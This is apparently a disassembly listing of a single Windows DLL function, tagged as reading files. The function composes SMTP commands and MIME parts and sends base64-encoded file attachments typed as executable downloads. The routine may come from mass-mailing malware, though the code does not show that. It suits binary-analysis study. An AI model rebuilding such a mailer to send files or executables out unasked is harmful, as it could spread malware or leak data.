Function at 0x10023170
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100361d3
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x118
push ebx
push esi
push edi
mov eax, dword [0x1004c024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x14c], 0xffffffff
jne 0x1002329c
mov ecx, dword [ebp - 0xc4]
add ecx, 0x120
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xc8], eax
push 0
push 0
mov ecx, dword [ebp - 0xc4]
mov dl, byte [ecx + 0x13e]
push edx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x1a8]
push ecx
mov edx, dword [ebp - 0xc4]
mov ax, word [edx + 0x13c]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020d50
mov byte [ebp - 0xc9], al
movzx edx, byte [ebp - 0xc9]
test edx, edx
jne 0x1002329c
call sym.Comn.dll_GetObjectLog
mov dword [ebp - 0xd0], eax
push 0x20e
push 0x1003dc08
call fcn.1001fce0
add esp, 8
push eax
push str._s:_ConnectRemoteServer_failed.
mov eax, dword [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
push 0x6a
lea ecx, [ebp - 0x44]
call fcn.10007900
mov ecx, dword [eax]
mov dword [ebp - 0x40], ecx
push 0x10046434
lea edx, [ebp - 0x40]
push edx
call sub.MSVCR80.dll__CxxThrowException
mov ecx, dword [ebp - 0xc4]
add ecx, 0x20
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jne 0x100232da
push 0xc9
lea ecx, [ebp - 0x4c]
call fcn.10007900
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
push 0x10046434
lea ecx, [ebp - 0x48]
push ecx
call sub.MSVCR80.dll__CxxThrowException
push 9
call fcn.1001e330
add esp, 4
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xc4]
add ecx, 0x20
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd8], eax
mov edx, dword [ebp - 0xd8]
push edx
push str.MAIL_FROM:__s__r_n
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
mov ecx, dword [ebp - 0xc4]
add ecx, 0x154
call fcn.10007a10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10023376
push 0xcb
lea ecx, [ebp - 0x54]
call fcn.10007900
mov ecx, dword [eax]
mov dword [ebp - 0x50], ecx
push 0x10046434
lea edx, [ebp - 0x50]
push edx
call sub.MSVCR80.dll__CxxThrowException
push 0xa
call fcn.1001e330
add esp, 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], 0
jmp 0x10023395
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc4]
add ecx, 0x154
call fcn.10007a10
cmp dword [ebp - 0x1c], eax
jae 0x10023420
mov ecx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x154
call fcn.10007a50
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0xdc]
add ecx, 0x1c
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xe0], eax
mov edx, dword [ebp - 0xe0]
push edx
push 0x1003dc5c
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
jmp 0x1002338c
mov dword [ebp - 0x1c], 0
jmp 0x10023432
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x164
call fcn.10007a10
cmp dword [ebp - 0x1c], eax
jae 0x100234bd
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x164
call fcn.10007a50
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0xe4]
add ecx, 0x1c
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
push eax
push 0x1003dc6c
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
jmp 0x10023429
mov dword [ebp - 0x1c], 0
jmp 0x100234cf
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x174
call fcn.10007a10
cmp dword [ebp - 0x1c], eax
jae 0x1002355a
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc4]
add ecx, 0x174
call fcn.10007a50
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0xec]
add ecx, 0x1c
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0xf0]
push ecx
push str.RCPT_TO:__s__r_n
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x144]
push eax
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
jmp 0x100234c6
push 0xb
call fcn.1001e330
add esp, 4
mov dword [ebp - 0x3c], eax
push str.DATA_r_n
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call sub.ntdll.dll_strcpy
add esp, 8
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
push 0xc
call fcn.1001e330
add esp, 4
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.1001f310
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov ecx, dword [ebp - 0xc4]
call fcn.1001ed50
test eax, eax
je 0x1002364e
mov dword [ebp - 0x1c], 0
jmp 0x100235f4
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0xc4]
call fcn.1001ed50
cmp dword [ebp - 0x1c], eax
jae 0x1002364c
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0xc4]
call fcn.100204b0
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
push eax
push 0x1003dc94
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
jmp 0x100235eb
jmp 0x1002367d
push 0x1003dc9c
push 0x1003dca0
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
push 0x37
call fcn.1000f6bd
add esp, 4
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0
jne 0x100236c2
push 0x198
lea ecx, [ebp - 0x60]
call fcn.10007900
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
push 0x10046434
lea ecx, [ebp - 0x5c]
push ecx
call sub.MSVCR80.dll__CxxThrowException
push 0xff
call fcn.1000f6bd
add esp, 4
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x1002370a
push 0x198
lea ecx, [ebp - 0x6c]
call fcn.10007900
mov ecx, dword [eax]
mov dword [ebp - 0x68], ecx
push 0x10046434
lea edx, [ebp - 0x68]
push edx
call sub.MSVCR80.dll__CxxThrowException
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
jmp 0x10023723
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0xc4]
add ecx, 0x184
call fcn.10002e30
cmp dword [ebp - 0x34], eax
jae 0x10023b92
mov ecx, dword [ebp - 0x34]
push ecx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x184
call fcn.10007ba0
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x100], eax
mov edx, dword [ebp - 0x100]
push edx
mov eax, dword [ebp - 0x28]
push eax
call sub.ntdll.dll_strcpy
add esp, 8
push str.__MESSAGE__ID__54yg6f6h6y456345
push str.___s_r_n
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
push str.Content_Type:_application_x_msdownload__name_
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
mov edx, dword [sym.imp.MSVCP80.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov eax, dword [edx]
push eax
push 0x1003dce0
mov ecx, dword [ebp - 0x34]
push ecx
mov ecx, dword [ebp - 0xc4]
add ecx, 0x184
call fcn.10007ba0
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_last_of_char_const___unsigned_int_const]
mov dword [ebp - 0x104], eax
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x28]
lea ecx, [eax + edx + 1]
push ecx
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x144]
push eax
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003dce4
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call sub.ntdll.dll_strcat
add esp, 8
push str.Content_Transfer_Encoding:_base64_r_n
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
push str.Content_Disposition:_attachment__filename_
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x144]
push eax
call sub.ntdll.dll_strcat
add esp, 8
mov ecx, dword [sym.imp.MSVCP80.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov edx, dword [ecx]
push edx
push 0x1003dd38
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0xc4]
add ecx, 0x184
call fcn.10007ba0
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_last_of_char_const___unsigned_int_const]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x28]
lea eax, [edx + ecx + 1]
push eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003dd3c
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call sub.ntdll.dll_strcat
add esp, 8
push 0x1003dd40
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x144]
push eax
call sub.ntdll.dll_strcat
add esp, 8
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
push 0x1003dd44
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.MSVCR80.dll_fopen]
add esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10023921
push 0x194
lea ecx, [ebp - 0x74]
call fcn.10007900
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
push 0x10046434
lea ecx, [ebp - 0x70]
push ecx
call sub.MSVCR80.dll__CxxThrowException
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVCR80.dll_feof]
add esp, 4
test eax, eax
jne 0x10023956
mov eax, dword [ebp - 0x24]
push eax
push 0x36
push 1
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.MSVCR80.dll_fread]
add esp, 0x10
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x10023928
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
shr eax, 0xa
cmp eax, 0x1400
jbe 0x10023991
push 0x195
lea ecx, [ebp - 0x7c]
call fcn.10007900
mov ecx, dword [eax]
mov dword [ebp - 0x78], ecx
push 0x10046434
lea edx, [ebp - 0x78]
push edx
call sub.MSVCR80.dll__CxxThrowException
jmp 0x10023b80
push 0
push 0
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.MSVCR80.dll_fseek]
add esp, 0xc
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
jmp 0x100239bb
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov ecx, 0x36
div ecx
add eax, 1
cmp dword [ebp - 0x1c], eax
jae 0x10023b6b
mov edx, dword [ebp - 0x24]
push edx
push 0x36
push 1
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.MSVCR80.dll_fread]
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x20], 0
je 0x10023a63
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x30]
push edx
lea eax, [ebp - 0x98]
push eax
call fcn.10034520
add esp, 0xc
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x110], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xc0]
or edx, 1
mov dword [ebp - 0xc0], edx
mov ecx, dword [ebp - 0x110]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call sub.ntdll.dll_strcat
add esp, 8
mov dword [ebp - 0x118], eax
jmp 0x10023ad6
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.10034520
add esp, 0xc
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0xc0]
or ecx, 2
mov dword [ebp - 0xc0], ecx
mov ecx, dword [ebp - 0x120]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x124], eax
mov edx, dword [ebp - 0x124]
push edx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x144]
push ecx
call sub.ntdll.dll_strcpy
add esp, 8
mov dword [ebp - 0x118], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0xc0]
and edx, 2
je 0x10023afb
and dword [ebp - 0xc0], 0xfffffffd
lea ecx, [ebp - 0xb4]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xc0]
and eax, 1
je 0x10023b20
and dword [ebp - 0xc0], 0xfffffffe
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x1003dd48
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call sub.ntdll.dll_strcat
add esp, 8
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0xe00
jb 0x10023b66
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
jmp 0x100239b2
cmp dword [ebp - 0x20], 0
je 0x10023b80
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
jmp 0x1002371a
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
push ecx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xbc]
push eax
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
mov ecx, dword [ebp - 0xc4]
add ecx, 0x184
call fcn.10002e30
test eax, eax
je 0x10023c06
push str.__MESSAGE__ID__54yg6f6h6y456345
push str._r_n___s___r_n
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call dword [sym.imp.ntdll.dll_sprintf]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
push 0xd
call fcn.1001e330
add esp, 4
mov dword [ebp - 0x3c], eax
push str._r_n._r_n
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 0x144]
push edx
call sub.ntdll.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc4]
call fcn.10020510
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0xc4]
call fcn.10020240
jmp 0x10023cb5
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret